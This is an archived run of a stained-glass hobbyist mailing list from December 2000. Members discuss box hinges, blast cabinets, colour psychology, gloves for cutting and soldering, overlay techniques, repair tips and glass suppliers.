> Mike Savad asked:
>
> are you talking to "me" - mike, or another mike? if so, which box are we
> discussing?
>
> ---Mike Savad
>
>
> Sorry Mike Savad,
> There was a post just 2 days or so ago that mentioned a new style of box
> hinge.  I thought it was recent enough that I didn't need re-post the
> original message.  It is now included, in its entirety, below, and the
> questions (to whichever Mike sent it) still stand.
> Jennifer
>
> X-Path: iofm.net!art.forall
> From: "Art For All" <art.forall@iofm.net>
> To: "GLASS Bungi" <glass@bungi.com>
> Subject: Server Went Bust
> Date: Mon, 11 Dec 2000 18:26:25 -0000
> X-Rcpt-To: <jbuckner@together.net>
> X-DPOP: DPOP Version 2.8k
>
> This is a multi-part message in MIME format.
> ------=_NextPart_000_000A_01C0639F.DEBC34C0
> Content-Type: text/plain;
> charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
> Hi Folks
> I have been away, well away for me, I was in the States, forced into =
> Florida by the bad weather. Whilst away my server went bust but has now =
> been taken over and is up and running again but my Bungi mail all =
> stopped, so could you please reinstate me.
> I saw a clever tube and wire box lid hinge on my travels, that I had not =
> seen before. The tube part of the hinge was soldered inside the box =
> half an inch or more down from the edge at the back. The pivot wires =
> were bent almost at 90 degrees, so with the box shut they left the tube, =
> heading forwards, almost parallel to the base, then turned vertical up =
> to meet the box lid, where they were soldered to it. When the box was =
> opened the wires rested on the back of the box and there was no need for =
> any restraining chain. A rather neat idea and all the hinge is =
> invisible with the box closed.
> Regards
> Mike
>
> Jennifer G. Buckner jbuckner@together.net
>
> ----
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From owner-glass Tue Dec 12 15:03:57 2000
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X-Path: fastlane.net!byronw
From: "Byron Wells" <byronw@fastlane.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Blast box
Date: Tue, 12 Dec 2000 16:37:37 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Thanks Stan... Other problem I have is limited space... I have 1 small  wall
area that I can squeeze this thing into.. While a blast room would be
fantastic I just don't have the room and I don't think the city will let me
add anymore onto this shop...That's why I've been leaning towards one of
these pass-thru type cabinets so I could blast larger panels when needed but
still keep the size down..



----- Original Message -----
From: <Beveler4@aol.com>
To: <byronw@fastlane.net>
Sent: Tuesday, December 12, 2000 1:48 PM
Subject: Re: Blast box


> Hi Byron,
> I've been blasting in a home made box for years and it is still a valuable
tool for my small projects.But as you grow so do your needs and wants and
now I have a walk in booth that can also be used thru a window for small
projects.I learned this from a class that I took in New Mexico and I can now
put a full size table top into the booth or a full size door panel,it took a
lot of thought when building it but with the right tools and equipment it
can be done for much less than a commercial unit.And like I said you can
incoporate a small window for the little projects that don't require the
whole booth. I keep the compressor in its own little corner far from the
booth for two reasons 1.keep it away from the dust2.to cut down on the
noise.You also need some vacuums to exhaust the dust for you and these can
also be made.
> Beveler4(Stan)
> ----
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>

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From owner-glass Tue Dec 12 18:02:46 2000
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X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: FW: Colors and emotions
Date: Tue, 12 Dec 2000 20:51:59 -0500
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studio
Precedence: bulk

So I wonder why schools, factories, etc. are mostly painted Janitor
Green and Janitor Blue?  And you all do know EXACTLY what colors those
are, don't you!

A slight variant on Janitor Green is Victorian Furniture Green.  At some
time almost every piece of painted Victorian oak furniture was coated
with it.  When removing paint, you always encounter one layer of that,
at least.

When in grad school, our apartment was dank and dark and the bathroom
was Turdy Brown - a most depressing color.  We offered our landlady a
job of painting the bathroom if she'd supply the paint and in her words,
she supplied us with paint that was "Titty Pink". - Cec

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Tue Dec 12 19:06:31 2000
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From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
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Subject: Re: favorite colors
Date: Tue, 12 Dec 2000 21:09:21 -0500
Message-ID: <1970Jan1.000.0>
References: <<3.0.32.20001205122311.00d76bfc@pop.erols.com>>
Organization: Grendel Studio
Precedence: bulk

Color IS directly related to glass, and it is a fascinating topic because it is
so fundamental to glass and to life.

I have known several people who are "color blind"  A friend at work is totally
color blind - sees life in grey scale.  It is interesting to see him compensate
when dealing with colored objects.  And my father-in-law is red-green color
blind.  Yet he can be painting with green, and you hand him a miss-mixed can of
paint and he can tell you they didn't color it right at the hardware store.

And the amount of rods and cones is definately a clue.  Apparently very few
people are totally lacking in the color awareness of the "blind" color.  My
sister and I are certain that the people were color blind who owned a house
before she and her husband.  The previous owners had decorated it in brown, but
absolutely none of the browns matched or were vaguely in the same color family. -
Cec

Dee Thompson wrote:

> >Talk about glass, or shut up! We don't need this crap!
> >
> >
> actually,I'm finding the reactions very interesting...color sure does
> affect emotional response! Purple does not seem to induce harmony, it would
> seem!!!
>
> I love it, the deeper and richer, the better, there's none in my house.
> When I meditate, the color purple floods my minds eye almost instantly...so
> it's a pleasant color to me...but I live in blue...that's an easy going
> color...I like rich deep greens too.  Yellow makes me very upset and edgy,
> and red is uncomfortable, but orange makes me feel physically ill and
> depressed.
>
> Maybe that is why my blue iris sold so much faster than the purple in the
> same design, although the purple got a much stronger reaction when on display.
>
> my friend, who also does glass sees any color with a red tone, (including
> reddish purples, reds of all tones and orange) very differently than i do.
> To her they are much more subdued, even browned out. We did some color
> testing together to see what we experienced...very different reactions and
> impact. Some she saw instantly some were very vague.  Wonder if some of our
> reactions are due to the varying number of rods and cones in our eyes
> giving us varying intensity in our color experience in life and how much
> repsonse is from association and culture.
>
>  Guess I'll be getting a few color books and learn a little more.
> Good topic.
> (Ducking slightly and signing off  :-)
> Dee
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Tue Dec 12 19:42:11 2000
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X-Path: together.net!jbuckner
From: Jennifer Buckner <jbuckner@together.net>
To: glass@bungi.com
Content-Type: text/html; charset="us-ascii"
Subject: box & hinge
Date: Tue, 12 Dec 2000 21:18:36 -0500
Message-ID: <4.3.2.7.2.20001212211517.00ad2b90@pop.together.net>
Precedence: bulk

<html>
Mike Savad says: &quot;<font size=3>the lid will have to have a design,
since the tube attaches to it. and the <br>
tube has to be parralel (i know it's spelled wrong, i just can't spell),
to <br>
the back of the box. (i've seen this done with the tube on the outside of
<br>
the box, but with the lid in the same position.&quot;<br>
<br>
But the other Mike says: &quot;<b><u>The tube part of the hinge was
soldered inside the box = <br>
half an inch or more down from the edge at the back.</u></b> The pivot
wires = <br>
were bent almost at 90 degrees, so with the box shut they left the tube,
= <br>
heading forwards, almost parallel to the base, then turned vertical up =
<br>
to meet the box lid, where they were soldered to it.&quot;<br>
<br>
I don't think you've read the initial explanation, M. Savad.<br>
<br>
Jennifer<br>
<br>
&nbsp;<br>
<br>
<br>
</font><br>
<div>Jennifer G. Buckner jbuckner@together.net</div>
</html>

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From owner-glass Tue Dec 12 21:11:27 2000
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X-Path: juno.com!pkinnetz
From: Peggy L Kinnetz <pkinnetz@juno.com>
To: glass@bungi.com
Content-Type: text/plain
Subject: Re: Psychological effects of color
Date: Tue, 12 Dec 2000 23:51:34 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Folks,

I'd really be careful about interpreting these studies as they used
awfully small numbers of participants in their samples, which affects the
size of the effect. The first study does mention this in the summary, but
the second does not, and it has even fewer participants.  It simply means
that the results are uncertain. You'd probably need at least 50 or so
particpants to make a statistical difference. 

But the studies are intriquing--I think all of us intuitively know that
color does affect our senses and how we operate, even if we can't
quantify it very well.  I really appreciate your getting this to us
Dorothy.  If you have anything more, I'd love to read it. 

Color is a very complex issue-- sonetimes we love a color, but in a
certain context (say, just a little box on a desk) and other times we
love to be immersed in a color, like wearing it, but that is even
different than being in a room painted that color. I know there are
studies out there (after all if we study the sex and mating rituals of
tree frogs or some beetle in timbutktu, surely someone is interested in
color and our reponses to it.) I'm thinking that there would have to be a
lot of controls in any experiment, such as controlling for the time of
day that we might choose a particular color. Do you think that we might
gravitate to brighter colors in the morning or in the evening? Would
these choices stay constant in the winter as for the summer? Or would
geographic region play a part in our choices?  I know that in the
Carribean and in the Southwest, houses tend to be painted much brigher
and in stronger doses, than in the northern areas (more grayed tones). 

Okay, I'm rambling. Somebody stop me. And I'm even sitting in a dark
green room.

Peggy K.

> A total of 45 women,
>                        ages 18 to 24 years, were tested individually 
> in
> a single office space: 15
>                        when the office walls were painted red/warm, 
> 15
> when walls were
>                        blue-green/cool, and 15 when walls were
> white/neutral. Analysis of
>                        covariance of posttest measurements with the
> pretest as a covariate
>                        showed no significant differences among the 
> three
> groups on
>                        performance or scores on anxiety, depression, 
> and
> arousal. If color of
>                        the environment has an effect on work 
> performance
> or mood, either the
>                        effect was too small to be detected with 
> samples
> of 15 subjects or longer
>                        participation than one hour was required.
                        for six preschool children under six coloured
> room conditions in an
>                        ABACAB design. Physical strength and high
> positive mood were
>                        demonstrated in a pink-coloured room while 
> the
> reverse was found in a
>                        blue-coloured room. The results were 
> interpreted
> as supporting the
>                        differential arousal function of colours.
> 
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From owner-glass Tue Dec 12 21:45:18 2000
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X-Path: pro-ns.net!jdahlin
From: "J. Dahlin" <jdahlin@pro-ns.net>
To: Family Account <shad@mail2.nai.net>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Winter hands and gloves
Date: Tue, 12 Dec 2000 23:21:46 -0600
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References: <<1970Jan1.000.0>>
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I wear gloves whenever possible while working with stained glass.  A
year ago I was diagnosed with breast cancer and as part of the surgery
had lymph nodes removed.  That puts the patient at HIGH risk for
Lymphedema which is a very serious disease.  We are told to avoid
cutting our hands, particularly on the surgery side.  Very difficult to
do on a daily basis anyway, but much more so when you do stained glass.

I use a Wells Lamont glove for grinding glass that has a blue rubberized
palm and fingers, but with a cream colored back of the hand and partial
back of the fingers.  It keeps my fingers from getting cut, and also
saves on my finger tips from pushing against the glass.

For cutting I usually use a fish cleaning glove on my left hand (I am
right handed).  This is a mesh like glove that you can get in a sporting
goods store such as Cabellas or Galyans here in Minnesota.

I have not been wearing gloves for soldering.  It seems to me that if I
wore a rubbery glove and got hot solder on it - - - it would cause more
problems than doing any good. (That was lousy grammar, I know)  I do use
a product recommended by the Mayo Clinic in Rochester, Minnesota called
Vanicream.  It is particularly good when I am working with lead as it
makes it easier to clean my hands as the lead stains wipe right off with
a paper towel.  Soap and water finishes the job and then I put on more
Vanicream.

I would really prefer to wear gloves when soldering, so let me know if
you have any suggestions.

Joanne Dahlin



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From owner-glass Tue Dec 12 22:57:14 2000
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From: Bobfuses@aol.com
To: jdahlin@pro-ns.net, glass@bungi.com
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Subject: Re: Winter hands and gloves
Date: Wed, 13 Dec 2000 01:23:47 EST
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In a message dated 12/12/00 9:46:24 PM Pacific Standard Time, 
jdahlin@pro-ns.net writes:

> I would really prefer to wear gloves when soldering, so let me know if
>  you have any suggestions.

I do not think the occasional drop of hot solder will burn you through a 
glove while soldering. An additional benefit is that your hands will be 
protected from flux burns.

I only wear gloves once in a while. Running a piece of glass once around the 
grinder quickly before pushing on areas to be ground helps to remove sharp 
edges that cut as you push. It also helps the foil to stick better.


Bob in 9 2 0 2 6
Don't forget to punch out the candidate of your choice.
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From owner-glass Wed Dec 13 07:22:34 2000
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Subject: Overlays
Date: Wed, 13 Dec 2000 10:15:52 EST
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Got another question.. I have made a cross out of bevels and want to overlay 
a rose on the top. What is the best way to do this? I have done overlays 
before, but only on boxes where you are not laying the actual overlay on top 
of the soldering.. except with butterflys that were 3-d on it.. I think I 
goofed. I made the overlay and am now trying to attach it, but having a very 
hard time.. should I make it ON the cross instead of making it first and then 
applying it??

This group is great and I look forward to many, many kind helps!!!

Ruth
"If we quit voting will they all go away?"
http://members.aol.com/RTSkeeter
 ICQ11716411



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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=3>Got another question.. I have made a cross out of bevels and want to overlay <BR>a rose on the top. What is the best way to do this? I have done overlays <BR>before, but only on boxes where you are not laying the actual overlay on top <BR>of the soldering.. except with butterflys that were 3-d on it.. I think I <BR>goofed. I made the overlay and am now trying to attach it, but having a very <BR>hard time.. should I make it ON the cross instead of making it first and then <BR>applying it??
<BR>
<BR>This group is great and I look forward to many, many kind helps!!!
<BR>
<BR></FONT><FONT  COLOR="#000000" SIZE=2 FAMILY="SANSSERIF" FACE="Arial" LANG="0">Ruth
<BR>"If we quit voting will they all go away?"
<BR>http://members.aol.com/RTSkeeter
<BR> ICQ11716411
<BR>
<BR></FONT></HTML>

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From owner-glass Wed Dec 13 08:24:03 2000
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From: Bobfuses@aol.com
To: PookyPook@aol.com, glass@bungi.com
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Subject: Re: Overlays
Date: Wed, 13 Dec 2000 10:44:05 EST
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In a message dated 12/13/00 7:23:45 AM Pacific Standard Time, 
PookyPook@aol.com writes:

> Got another question.. I have made a cross out of bevels and want to 
overlay 
>  a rose on the top. What is the best way to do this? 

Make the cross and the rose separately and then solder them together where 
solder lines touch. It is easy and produces a very strong finished piece due 
to the complex geometry.

Be sure to clean the pieces very well before soldering together to avoid 
trapping crud between them.

Bob in 9 2 0 2 6
Don't forget to punch out the candidate of your choice.
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From owner-glass Wed Dec 13 09:01:01 2000
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From: Dee Thompson <deethom@erols.com>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Psychological effects of color
Date: Wed, 13 Dec 2000 10:00:28 -0500
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Precedence: bulk

A long time back I got a little paperback book that linked color and
personality...it was called the Luscher or Lucher (with the umlaut) color
test.  One of the things it specifically asks in the color testing is that
the color block you choose is the one that most attracts you at first, no
the one you want to live in, wear or matches your house!
I work with birds...color sure as the sun rises will affect them.  I worked
with red crowned cranes...on top on the head is a red patcth that can be
expanded or contracted.  Not particulary noticable to untrained humans, the
suble expansion means a warning to all the other savy birds.  Parrots will
color select from a dish of mixed pellets...one cage may prefer the orange
and purple, while the other leaves those colors untouched.  A baby bird
will snuggle under a red covering if a parent had red feathers under thier
wing but may scream in panic otherwise. A breeder list right now is going
thru all the effects various color has had on thier birds...it varies bird
to bird, even with in the same specie and patterns  seem to exacerbate the
effects of some.
Another article I read back in the '70's stated that people with very
hectic, high stress jobs ofter preferred white and various tones of off
white on thier walls at home for the peaceful, calming effect, no matter
what other colors they chose as accents.  I asked a few dozen nurses and
flight attendants...yup! only one exception.

do you change a favorite panel in a window at home to vary with the
seasons, (light)??  I do.
dee

quoted from childrens letters to god...
>
Dear God,
>I didn't think orange went with purple until I saw the sunset you made on
>Tuesday.  That was cool!  Eugene 
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From owner-glass Wed Dec 13 18:30:59 2000
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From: Family Account <shad@mail2.nai.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Overlays
Date: Wed, 13 Dec 2000 21:25:00 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Part of the problem is that you have bevels in the cross.  This lowers
the solder lines below the level of the glass.  You will have to be
quite careful soldering the rose to those lines, so as not to get blobs
of solder between the two pieces.  Work slowly with small bits of
solder.  If you angle it, be sure the solder can only run off the piece.

Yes, and clean the glass throughly before you start to attach.  In fact,
since you can see through the bevels, you will want to patina and wax
the overlap area, too.  When the piece is done, try not to get liquids
between the layers (remember, it's already clean there), and you don't
want anything air drying and leaving water (or worse) patina spots.

I suspect this is something that gets easier with practice.

Dorothy (whose daughter just decided she needed a piece of stained glass
made for someone in her boyfriend's family.  She'll foil...)

PookyPook@aol.com wrote:

> Got another question.. I have made a cross out of bevels and want to
> overlay
> a rose on the top. What is the best way to do this? I have done
> overlays
> before, but only on boxes where you are not laying the actual overlay
> on top
> of the soldering.. except with butterflys that were 3-d on it.. I
> think I
> goofed. I made the overlay and am now trying to attach it, but having
> a very
> hard time.. should I make it ON the cross instead of making it first
> and then
> applying it??
>
> This group is great and I look forward to many, many kind helps!!!
>
> Ruth
> "If we quit voting will they all go away?"
> http://members.aol.com/RTSkeeter
> ICQ11716411
>

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From owner-glass Thu Dec 14 10:07:24 2000
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From: Beveler4@aol.com
To: <rlean@cinci.rr.com>
Content-Type: text/plain; charset=ISO-8859-1
Subject: Re: More Repairs
Date: Thu, 14 Dec 2000 12:33:27 EST
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Hi Robin,
Do not scrape the foil off just heat up your iron and melt it out of the hole using a pair of needle nose pliers grab any exposed end of the foil and then gently pull it off as you push the iron behind it. If there is no exposed end use your iron to push it and then you will have one soon enough,this way you get all of the foil and you can flatten the exposed edge of the other pieces around the broken one that you just removed,it will look like you tinned the edge when you are finished and then you can put a piece of paper beneath the now open hole and trace a new pattern piece.
Beveler4 (Stan) 
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From owner-glass Thu Dec 14 23:52:38 2000
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X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Bungi Glass <glass@bungi.com>
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Subject: Unique glass collection 
Date: Fri, 15 Dec 2000 00:23:53 -0500
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studio
Precedence: bulk

On page 42 of the Jan. Discovery is an article about restoring the 830
some specimans of glass replicas of botanicals and flowers belonging to
the Harvard Botanical Museum.  Really fascinating.  A father/son team
created them, inventing as they went, and no one knows how they did it.
- Cec

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Fri Dec 15 03:40:00 2000
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X-Path: alphalink.com.au!kmunro
From: Kim Munro <kmunro@alphalink.com.au>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: SG suppliers in Baltimore
Date: Fri, 15 Dec 2000 21:53:45 +1100
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I will be visiting the East coast in the new year and would like to know
the locations and/or email addresses of reputable SG suppliers in
Baltimore MD.

Regards and Xmas greetings to all
Kim Munro

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From owner-glass Fri Dec 15 06:27:28 2000
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From: maruca@netaxs.com
To: Bungi Glass <glass@bungi.com>
Content-Type: TEXT/PLAIN; charset=US-ASCII
Subject: Re: Unique glass collection 
Date: Fri, 15 Dec 2000 09:05:04 -0500 (EST)
Message-ID: <1970Jan1.000.0>
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Precedence: bulk



On Fri, 15 Dec 2000, Cecily & Ralph Wood wrote:

> On page 42 of the Jan. Discovery is an article about restoring the 830
> some specimans of glass replicas of botanicals and flowers belonging to
> the Harvard Botanical Museum.  Really fascinating.  A father/son team
> created them, inventing as they went, and no one knows how they did it.
> - Cec
> 


Is this a program guide related to the cable channel? 


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From owner-glass Fri Dec 15 08:24:21 2000
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X-Path: n-link.com!pkelly
From: Patrick Kelly <pkelly@n-link.com>
To: "Kim Munro" <kmunro@alphalink.com.au>, <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: SG suppliers in Baltimore & NM visit
Date: Fri, 15 Dec 2000 08:51:55 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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Kim,

I know of at least one on Belair Rd... close to Overley. Can't remember the
name of it..... If you need more info I can find out. One of the people on
the list is from that area.... Riesterstown I think...

That is a unique area... most of the homes in that area that were built
around the early part of the last century (that sounds strange doesn't
it)... have SG windows through the outside walls.... many have sidelights at
the front door... as a matter of fact in some areas thiefs come into empty
houses and steal the SG and the copper pipes and of course anything else of
value.

I know of a great place to eat crabs if you want to.

Why are you going to B'mo.....????...are you from there?

Contact me off line if you need more.


New Mexico .... Stopped in a gift shop and saw a few mosaic pottery
plates.(not a very good ones either).....they had, at most ten pieces of
glass and were priced at $450 U.S........

Patrick
Roses and Rainbows

> -----Original Message-----
> From: Kim Munro [mailto:kmunro@alphalink.com.au]
> Sent: Friday, December 15, 2000 4:54 AM
> To: glass@bungi.com
> Subject: SG suppliers in Baltimore
>
>
> I will be visiting the East coast in the new year and would like to know
> the locations and/or email addresses of reputable SG suppliers in
> Baltimore MD.
>
> Regards and Xmas greetings to all
> Kim Munro
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>

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From owner-glass Fri Dec 15 15:32:41 2000
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X-Path: mail2.nai.net!shad
From: Family Account <shad@mail2.nai.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Unique glass collection
Date: Fri, 15 Dec 2000 17:34:30 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I haven't seen them for some years, but they are quite interesting.  If you
are in the Boston area, they are worth looking at.

Dorothy

Cecily & Ralph Wood wrote:

> On page 42 of the Jan. Discovery is an article about restoring the 830
> some specimans of glass replicas of botanicals and flowers belonging to
> the Harvard Botanical Museum.  Really fascinating.  A father/son team
> created them, inventing as they went, and no one knows how they did it.
> - Cec
>
> --
> *********************************************************************
> *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> *********************************************************************
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

----
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From owner-glass Fri Dec 15 15:36:01 2000
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From: Family Account <shad@mail2.nai.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: SG suppliers in Baltimore & NM visit
Date: Fri, 15 Dec 2000 17:44:48 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
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Patrick Kelly wrote:

> ........New Mexico .... Stopped in a gift shop and saw a few mosaic pottery
> plates.(not a very good ones either).....they had, at most ten pieces of
> glass and were priced at $450 U.S........
>
> Patrick
> Roses and Rainbows
>

So, I bet it was a big tourist area?  I am amazed at the prices of things in the
Old Mystic Village in Connecticut here (Mystic being one of our big draws, what
with the aquarium and Mystic Seaport.)
A two inch bevel with four pieces of glass around it (Spectrum cathedral)...I
think about $20.  Of course, I don't know what the crafter of this item is
making from the sale, either.  And I can't guartantee that they are selling,
either.

This weekend I deliver my last commission and pick up whatever is left in the
Holiday store where we've had stuff since Thanksgiving.  I know the sales were
godd through last Saturday am when we did a last drop off of angels.  Then only
two - or three - pieces to make before Christmas.

Dorothy - survived the ice storm!


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From owner-glass Fri Dec 15 20:33:14 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: colors for seasons
Date: Thu, 7 Dec 2000 17:18:31 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

soon i hope to work on the next part of skycity, and though a small part, i
want the detail. i need to give all 4 seasons a color. i figure winter would
be a white/blue/gray combo. and fall would be a yellow/orange. i can't think
of the other colors... the glass would be art glass, and about 1" in
diameter.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

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From owner-glass Fri Dec 15 21:01:46 2000
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X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
To: maruca@netaxs.com, Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: Unique glass collection
Date: Fri, 15 Dec 2000 22:49:30 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Grendel Studio
Precedence: bulk

I meant Discover - but yes, it is an independant magazine but produced by
the same people as the TV channel.

maruca@netaxs.com wrote:

> On Fri, 15 Dec 2000, Cecily & Ralph Wood wrote:
>
> > On page 42 of the Jan. Discovery is an article about restoring the 830
> > some specimans of glass replicas of botanicals and flowers belonging to
> > the Harvard Botanical Museum.  Really fascinating.  A father/son team
> > created them, inventing as they went, and no one knows how they did it.
> > - Cec
> >
>
> Is this a program guide related to the cable channel?
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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From owner-glass Fri Dec 15 21:13:37 2000
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X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Jennifer Buckner <jbuckner@together.net>,
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: Unique glass collection
Date: Fri, 15 Dec 2000 22:45:21 -0500
Message-ID: <1970Jan1.000.0>
References: <<4.3.2.7.2.20001215170242.00a932a0@pop.together.net>>
Organization: Grendel Studio
Precedence: bulk

I meant Discover and yes it is available wherever magazines are sold -
supermarket, bookstores, etc.

Jennifer Buckner wrote:

> I saw your post to bungi.com about Leopold and Rudolph Blaschka, who did
> those marvelous glass flowers etc. for the Botanical Museum
> of  Harvard.  Can you tell me how to get a copy of that Discovery
> issue?  Is it commonly available on most bookstands?  Is it only sold by
> subscription?
>
> Jennifer Buckner
>
> Jennifer G. Buckner jbuckner@together.net

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


----
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From owner-glass Fri Dec 15 21:28:26 2000
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X-Path: softhouse.com!giapet
From: "Karen K." <giapet@softhouse.com>
To: "Mike Savad" <esavad@home.com>, <glass@bungi.com>
Subject: Re: colors for seasons
Date: Sat, 16 Dec 2000 00:04:04 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Mike,
See spring as pale/light greens & soft pinks or pastels.   Summer makes
me think of sea green/blues, hot reds, orange sunsets, really bright
colors.

Karen
giapet@softhouse.com


> soon i hope to work on the next part of skycity, and though a small
part, i
> want the detail. i need to give all 4 seasons a color. i figure winter
would
> be a white/blue/gray combo. and fall would be a yellow/orange. i can't
think
> of the other colors... the glass would be art glass, and about 1" in
> diameter.
>
>
> ---Mike Savad
>
>
> ---
> Mike's Stained Glass - http://www.geocities.com/Paris/1141/
> Contains a wealth of stained glass information, stained glass tips,
stained
> glass instruction, and many, many stained glass links.
> ---
> 11-7-00 - New Stuff Added: How to solder a nice bead, and several new
> projects. You can now search my site with a built in engine.
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>


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From owner-glass Fri Dec 15 22:56:35 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: "Family Account" <shad@mail2.nai.net>,
Content-Type: text/plain;
Subject: RE: Winter hands and gloves
Date: Tue, 12 Dec 2000 17:12:47 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

i only wear gloves, thin latex, when soldering.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: Family Account [mailto:shad@mail2.nai.net]
> Sent: Monday, December 11, 2000 9:21 PM
> To: glass@bungi.com
> Subject: Winter hands and gloves
>
>
> This talk of hands and gloves makes me wonder...does anyone wear gloves
> while cutting and (if you do) grinding?  What kind are they?  Is it easy
> to manipulate the glass?  Does it protect your hands from cuts?
>
> I suspect we've talked about this before, but maybe it's time to bring
> it up again.
>
> (I could wear gloves at work and protect my hands from paper cuts?)
>
> Dorothy
>
> ----
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>

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From owner-glass Fri Dec 15 23:00:20 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: "RLean" <rlean@cinci.rr.com>,
Content-Type: text/plain;
Subject: RE: More Repairs
Date: Tue, 12 Dec 2000 17:13:43 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

you melt it out, go to my page http://www.geocities.com/Paris/1141/ tips
section - how to repair a stained glass window. it's easier to go over that,
then to re-explain it all.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: RLean [mailto:rlean@cinci.rr.com]
> Sent: Monday, December 11, 2000 9:14 PM
> To: glass@bungi.com
> Subject: More Repairs
>
>
> This is a multi-part message in MIME format.
>
> ------=_NextPart_000_0067_01C063B7.54CF2340
> Content-Type: text/plain;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> When repairing glass with copper foil, after you take the broken piece =
> of glass out what do you do with the surrounding solder?  I've tried =
> scraping it off with an exacto knife, but I get into a real problem when =
> I get to a joint between 2 of the surrounding pieces.  I hope this makes =
> sense.  Thanks ahead of time,
> Robin
> >^,,^<   >^,,^<   >^,,^<
>
> ------=_NextPart_000_0067_01C063B7.54CF2340
> Content-Type: text/html;
> 	charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
> <HTML><HEAD>
> <META content=3D"text/html; charset=3Diso-8859-1" =
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> <STYLE></STYLE>
> </HEAD>
> <BODY bgColor=3D#ffffff>
> <DIV><FONT face=3DArial><STRONG>When repairing glass with copper foil, =
> after you=20
> take the broken piece of glass out what do you do with the surrounding=20
> solder?&nbsp; I've tried scraping it off with an exacto knife, but I get =
> into a=20
